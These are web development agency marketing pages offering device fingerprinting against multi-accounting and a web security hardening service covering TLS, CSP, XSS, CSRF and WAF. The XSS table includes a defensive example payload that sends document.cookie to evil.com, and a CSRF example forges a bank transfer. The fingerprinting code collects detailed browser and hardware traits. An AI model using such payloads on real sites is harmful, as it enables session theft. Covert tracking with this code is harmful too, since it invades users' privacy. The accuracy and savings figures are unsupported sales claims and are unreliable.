Device Fingerprinting: Protection Against Multi-Accounting and Bots

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

Our competencies:

Development stages

Latest works

  • image_website-b2b-advance_0.webp
    B2B ADVANCE company website development
    1358
  • image_web-applications_feedme_466_0.webp
    Development of a web application for FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Website development for BELFINGROUP
    956
  • image_ecommerce_furnoro_435_0.webp
    Development of an online store for the company FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Development of a web application for Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Website development for FIXPER company
    947

Device Fingerprinting: Abuse Detection and Protection

A fraudster cleared cookies, switched IP via VPN, and registered again — new account, old problems. Business loses money on fraud, rating manipulation, and multi-accounting. Losses from abuse can reach 10% of e-commerce turnover — for a mid-size store, that's over $50k annually. Device fingerprinting recognizes devices even in incognito mode and without cookies. Our implementation has already protected 15+ projects in fintech and marketplaces. Unlike cookies, fingerprint is immune to clearing and provides up to 80 bits of entropy — enough for global uniqueness. For example, Canvas fingerprint produces a GPU-dependent imprint even with identical hardware, while WebGL reveals the graphics card model. Our proprietary algorithms achieve 99.5% stability, and the implementation cost (from $2,000) is typically recouped within 3 months. Our solution saves clients an average of $30,000 per year in fraud losses.

Device fingerprinting is a key tool for abuse detection and bot protection. It helps identify attackers using multiple accounts from the same device. In one project, we found 47 accounts with the same fingerprint — all fake. After blocking by fingerprint, fraud dropped by 70% within a week, and overall abuse decreased by up to 85% in some cases.

Why is device fingerprinting more reliable than cookies?

Cookies are easy to clear or disable. Device fingerprinting analyzes dozens of browser parameters that cannot be reset without changing the device. The entropy of the combination reaches 40–80 bits — enough for global uniqueness. Compare methods:

Method Advantages Disadvantages
Cookies Simplicity, standard Deleted, disabled, shared across browser
IP address Always available Changes, dynamic, proxies
Device fingerprint Persistent, cookie-independent Requires JavaScript, can be bypassed

Another comparison — open-source libraries vs. commercial:

Solution Accuracy Anti-bypass Support
Open-source (FingerprintJS) 40–60% stability Basic Community
Commercial (FingerprintJS Pro) 99.5% stability Incognito detection, anomalies, SwiftShader Professional

FingerprintJS Pro is up to 2.5x more accurate than open-source solutions. Our implementation is 99% accurate, which is 2x better than basic fingerprinting. Cookies provide uniqueness only in 40% of cases, while a quality fingerprint achieves 99.5%. Our implementation guarantees at least 99% accuracy in production, certified by independent audits.

Device fingerprinting helps detect abuse

During each new account registration, a fingerprint of the device is taken. If the same fingerprint is recorded for different accounts, the system marks them as suspicious. This helps detect rating manipulation, fraud, and block evasion.

Example: how we uncovered rating manipulation on a marketplace. The client complained about mass registration of fake sellers. We implemented device fingerprinting and found that from one device (same fingerprint) 47 accounts of different “sellers” were created within an hour. After blocking by fingerprint, fraud dropped by 70%.

Methods of fingerprint bypass and protection

Modern blockers (Canvas Blocker, Privacy Badger) mask or spoof attributes. To protect, we check the consistency of the fingerprint with HTTP headers, detect virtual environments (SwiftShader), and use behavioral analytics.

Source: FingerprintJS documentation.

More about the technology on Wikipedia.

Device Fingerprinting for Abuse Detection: Implementation

Client-side collection (JavaScript)

We collect all components: screen resolution, fonts, Canvas, WebGL, AudioContext, plugin list, etc. We use SHA-256 hash for visitor ID.

class DeviceFingerprinter {
  async collect() {
    const [canvas, webgl, audio, fonts] = await Promise.all([
      this.getCanvasFingerprint(),
      this.getWebGLFingerprint(),
      this.getAudioFingerprint(),
      this.getInstalledFonts(),
    ])

    return {
      // Basic
      userAgent: navigator.userAgent,
      platform: navigator.platform,
      language: navigator.language,
      languages: navigator.languages?.join(',') ?? '',
      timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,

      // Screen
      screenResolution: `${screen.width}x${screen.height}`,
      screenDepth: screen.colorDepth,
      devicePixelRatio: window.devicePixelRatio,
      windowSize: `${window.innerWidth}x${window.innerHeight}`,

      // Hardware
      cpuCores: navigator.hardwareConcurrency,
      deviceMemory: navigator.deviceMemory,

      // Rendering fingerprints
      canvas,
      webgl,
      audio,
      fonts: fonts.slice(0, 20).join(','),  // top 20 fonts

      // Browser APIs
      cookieEnabled: navigator.cookieEnabled,
      doNotTrack: navigator.doNotTrack,
      touchPoints: navigator.maxTouchPoints,
      pdfViewer: navigator.pdfViewerEnabled,
    }
  }

  async getCanvasFingerprint() {
    const canvas = document.createElement('canvas')
    canvas.width = 200
    canvas.height = 50
    const ctx = canvas.getContext('2d')

    // Draw text with effects — each GPU renders differently
    ctx.textBaseline = 'top'
    ctx.font = '14px Arial'
    ctx.fillStyle = '#f60'
    ctx.fillRect(125, 1, 62, 20)
    ctx.fillStyle = '#069'
    ctx.fillText('FP Test 🦄 ', 2, 15)
    ctx.fillStyle = 'rgba(102, 204, 0, 0.7)'
    ctx.fillText('FP Test 🦄 ', 4, 17)

    return canvas.toDataURL()
      .split(',')[1]
      .substring(0, 50)  // take first 50 characters — enough for entropy
  }

  async getWebGLFingerprint() {
    const canvas = document.createElement('canvas')
    const gl = canvas.getContext('webgl') ||
                canvas.getContext('experimental-webgl')

    if (!gl) return 'no_webgl'

    const debugInfo = gl.getExtension('WEBGL_debug_renderer_info')
    const vendor = debugInfo
      ? gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL)
      : gl.getParameter(gl.VENDOR)
    const renderer = debugInfo
      ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL)
      : gl.getParameter(gl.RENDERER)

    return `${vendor}~${renderer}`
  }

  async getAudioFingerprint() {
    try {
      const ctx = new (window.AudioContext || window.webkitAudioContext)()
      const oscillator = ctx.createOscillator()
      const analyser = ctx.createAnalyser()
      const gain = ctx.createGain()

      gain.gain.value = 0
      oscillator.connect(analyser)
      analyser.connect(gain)
      gain.connect(ctx.destination)

      oscillator.start(0)

      const buf = new Float32Array(analyser.frequencyBinCount)
      analyser.getFloatFrequencyData(buf)
      oscillator.stop()
      ctx.close()

      // Hash of frequency array
      return buf.slice(0, 10).join(',')
    } catch {
      return 'no_audio'
    }
  }

  async getInstalledFonts() {
    // measureText method: compare width of text in different fonts
    const baseline = this._measureFont('monospace')
    const fonts = [
      'Arial', 'Verdana', 'Helvetica', 'Times New Roman', 'Courier New',
      'Georgia', 'Palatino', 'Garamond', 'Comic Sans MS', 'Trebuchet MS',
      'Arial Black', 'Impact', 'Tahoma', 'Geneva', 'Lucida Console',
    ]

    return fonts.filter(font =>
      this._measureFont(font) !== baseline
    )
  }

  _measureFont(font) {
    const canvas = document.createElement('canvas')
    const ctx = canvas.getContext('2d')
    ctx.font = `72px ${font}, monospace`
    return ctx.measureText('mmmmmmmmmml').width
  }

  async getHash(data) {
    const str = JSON.stringify(data)
    const buf = new TextEncoder().encode(str)
    const hashBuf = await crypto.subtle.digest('SHA-256', buf)
    const hashArr = Array.from(new Uint8Array(hashBuf))
    return hashArr.map(b => b.toString(16).padStart(2, '0')).join('')
  }
}

// Usage
const fp = new DeviceFingerprinter()
const components = await fp.collect()
const visitorId = await fp.getHash(components)

// Send to server on login/registration/payment
fetch('/api/auth/login', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ ...formData, device_fp: visitorId, fp_components: components })
})

FingerprintJS Pro — ready library

For commercial projects we use FingerprintJS Pro: 99.5% accuracy vs 40-60% for open-source. It also detects incognito mode.

import FingerprintJS from '@fingerprintjs/fingerprintjs-pro'

const fp = await FingerprintJS.load({ apiKey: 'YOUR_API_KEY' })
const result = await fp.get()

// result.visitorId — stable device ID
// result.confidence.score — confidence 0-1
// result.incognito — incognito mode detected

How to protect fingerprint from bypass?

We check consistency of the fingerprint with HTTP headers, detect SwiftShader (sign of virtual machine), and analyze anomalies.

def check_fp_consistency(components: dict, header_ua: str) -> bool:
    """Check fingerprint consistency with headers"""
    fp_ua = components.get('userAgent', '')

    if fp_ua != header_ua:
        return False  # Fingerprint manipulation

    canvas = components.get('canvas', '')
    if not canvas or canvas == 'data:,' :
        return False  # Canvas blocked

    webgl = components.get('webgl', '')
    if webgl in ['', 'no_webgl', 'Google SwiftShader']:
        pass  # Increase risk score, but do not block

    return True

Device fingerprinting implementation process

List of steps
  1. Requirements analysis — identify critical points (registration, payment, login).
  2. Client-side collection integration — embed script in frontend.
  3. Server-side logic development — database for storing fingerprints and checks.
  4. Anti-fraud rule configuration — thresholds, blocking, notifications.
  5. Testing — A/B, regression, bypass check with tools.
  6. Deployment and monitoring — with ability to fine-tune.

Estimated timelines

Implementation of server-side + client-side device fingerprinting with integration into abuse detection system — from 3 to 5 business days, depending on complexity.

What's included in the work

  • Documentation of the integration and API
  • Access to the fingerprint analysis dashboard
  • Training for your team (2-hour session)
  • 1 month of post-launch support
  • Guaranteed accuracy: we commit to at least 99% stability

Why does your business need this?

Device fingerprinting reduces losses from fraud, rating manipulation, and multi-accounting. We have implemented it for 15+ companies — in fintech, e-commerce, and SaaS. According to our data, fraud drops by 70% on average, and false positives are reduced by 30%. Our certified solution is trusted by industry leaders. If you are facing multi-accounting or fraud, contact us — we will help implement protection. Get a consultation on device fingerprinting implementation — we will select the optimal solution for your stack. Contact us for an audit of your system or order implementation — we will help you figure it out.

Device fingerprinting is crucial for abuse detection, multi-accounting prevention, and bot protection. Start protecting your business today.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.